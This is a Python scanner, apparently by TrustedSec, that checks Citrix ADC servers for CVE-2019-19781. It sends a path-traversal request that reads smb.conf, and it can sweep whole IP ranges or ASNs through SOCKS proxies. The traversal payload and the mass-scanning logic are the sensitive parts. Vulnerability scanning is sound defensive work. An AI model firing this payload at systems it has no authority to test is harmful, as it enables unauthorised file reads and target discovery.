#!/usr/bin/env python3 # # Single check to see if the server is still vulnerable to CVE-2019-19781 # Written by: Dave Kennedy # Company: TrustedSec # import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings import argparse from netaddr import IPNetwork import threading import time import subprocess from urllib3.contrib.socks import SOCKSProxyManager from string import Template def asn_to_ip(asn): # use ASN listings to enumerate whois information for scanning. cidr_list = [] command = 'whois -h whois.radb.net -- \'-i origin %s\' | grep -Eo "([0-9.]+){4}/[0-9]+" | head' % (asn) asn_convert = subprocess.Popen([command], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stderr_read = asn_convert.stderr.read().decode('utf-8') asn_convert = asn_convert.stdout.read().decode('utf-8').splitlines() # if we don't have whois installed if "whois: not found" in stderr_read: print("[-] In order for ASN looks to work you must have whois installed. Type apt-get install whois as an example on Debian/Ubuntu.") sys.exit() # iterate through cidr ranges and append them to list to be scanned for cidr in asn_convert: cidr_list.append(cidr) return cidr_list # we need to do this hack job due to sanitization of urls in the latest version of urllib3 # special thanks to rxwx for the fix def submit_url(url,proxies): with requests.Session() as s: r = requests.Request(method='GET', url=url) prep = r.prepare() prep.url = url return s.send(prep, verify=False, timeout=2, proxies=proxies) # our main function for testing the vulnerability def check_server(target, targetport, verbose, proxies): try: print("Scanning for CVE-2019-19781 on: %s " % target, end="\r") # Cleaning up output a little # if for some ungodly reason they are using HTTP if targetport == "80": url = ("http://%s:%s/vpn/js/%%2e./.%%2e/%%76pns/cfg/smb.conf" % (target,targetport)) req = submit_url(url, proxies) # for all other requests use HTTPS else: url = ("https://%s:%s/vpn/js/%%2e./.%%2e/%%76pns/cfg/smb.conf" % (target,targetport)) req = submit_url(url, proxies) # if the system is still vulnerable if ("[global]") and ("encrypt passwords") and("name resolve order") in str(req.content): # each smb.conf will contain a [global] variable print("[\033[91m!\033[0m] This Citrix ADC Server: %s is still vulnerable to CVE-2019-19781." % (target)) vulnServers.append(target) return 1 # if the system responds with a Citrix message (fixed) or a 403 (fixed) elif ("Citrix") in str(req.content) or "403" in str(req.status_code): # only seen if system is not vulnerable print("[\033[92m*\033[0m] CITRIX Server found, However the server %s is not vulnerable. Awesome!" % (target)) # if we run into something other than Citrix else: if verbose == True: print("[-] Server %s does not appear to be a Citrix server." % (target)) pass # handle exception errors due to timeouts except requests.ReadTimeout: if verbose == True: print("[-] ReadTimeout: Server %s timed out and didn't respond on port: %s." % (target, targetport)) pass except requests.ConnectTimeout: if verbose == True: print("[-] ConnectTimeout: Server %s did not respond to a web request or the port (%s) is not open." % (target, targetport)) pass except requests.ConnectionError: if verbose == True: print("[-] ConnectionError: Server %s did not respond to a web request or the port (%s) is not open." % (target,targetport)) pass print(""" _______ ________ ___ ___ __ ___ __ ___ ______ ___ __ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |/ _ \____ / _ \/_ | | | \ \ / /| |__ ______ ) | | | || | (_) |______| | (_) | / / (_) || | | | \ \/ / | __|______/ /| | | || |\__, |______| |\__, | / / > _ < | | | |____ \ / | |____ / /_| |_| || | / / | | / / / / | (_) || | \_____| \/ |______| |____|\___/ |_| /_/ |_| /_/ /_/ \___/ |_| CVE-2019-19781-Scanner Company: TrustedSec Written by: Dave Kennedy SOCKS5 support added by: Tor Houghton This will look to see if the remote system is still vulnerable to CVE-2019-19781. This will only scan one host at a time. You can use CIDR notations as well for example: 192.168.1.1/24 You can use hostnames instead of IP addresses also. Example: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 Example2: python3 cve-2019-19781_scanner.py 192.168.1.1 443 Example3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443 Example4: python3 cve-2019-19781_scanner.py as15169 443 Example5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose Example6: python3 cve-2019-19781_scanner.py 10.113.0.0/24 443 127.0.0.1 Example7: python3 cve-2019-19781_scanner.py 10.113.16.0/24 443 127.0.0.1:5150 verbose Usage: python3 cve-2019-19781_scanner.py targetip targetport [socks5host] [socks5port] [verbose] """) vulnServers = [] counter = 0 # parse our commands parser = argparse.ArgumentParser() parser.add_argument("target", help="the vulnerable server with Citrix (defaults https)") parser.add_argument("targetport", help="the target server web port (normally on 443)") parser.add_argument("socks", nargs="?", help="socks5 host(:port), defaults to 5150") parser.add_argument("verbose", nargs="?", help="print out verbose information") args = parser.parse_args() # if we specify a verbose flag if args.verbose: verbose = True else: verbose = False if args.socks: socksconf = args.socks try: (shost,sport) = socksconf.split(':') except: # big assumption shost = socksconf sport = 5150 s = Template('$proto://$host:$port/') socksproxy = s.substitute(proto='socks5',host=shost,port=sport) proxies = { 'http': socksproxy, 'https': socksproxy } else: proxies = {} try: if "as" in (args.target).lower(): CIDR_Blocks = asn_to_ip(args.target) for ip_block in CIDR_Blocks: for ip in IPNetwork(ip_block): thread = threading.Thread(target=check_server, args=(ip,args.targetport,verbose, proxies)) thread.start() time.sleep(0.05) # wait for the threads to complete thread.join() # if we are iterating through IP addresses to scan CIDR notations elif "/" in args.target: for ip in IPNetwork(args.target): counter = counter + 1 thread = threading.Thread(target=check_server, args=(ip,args.targetport,verbose, proxies)) thread.start() time.sleep(0.05) # wait for the threads to complete thread.join() # if we are just using 1 IP address else: counter = counter + 1 check_server(args.target, args.targetport, verbose, proxies) # do a report on vuln servers print("Finished testing %s servers: Found %s to be vulnerable. Below is a list system(s) identified:" % (counter, len(vulnServers))) print("-" * 45) for server in vulnServers: print(server) except KeyboardInterrupt: print("[!] interrupt received, stopping..") time.sleep(0.1)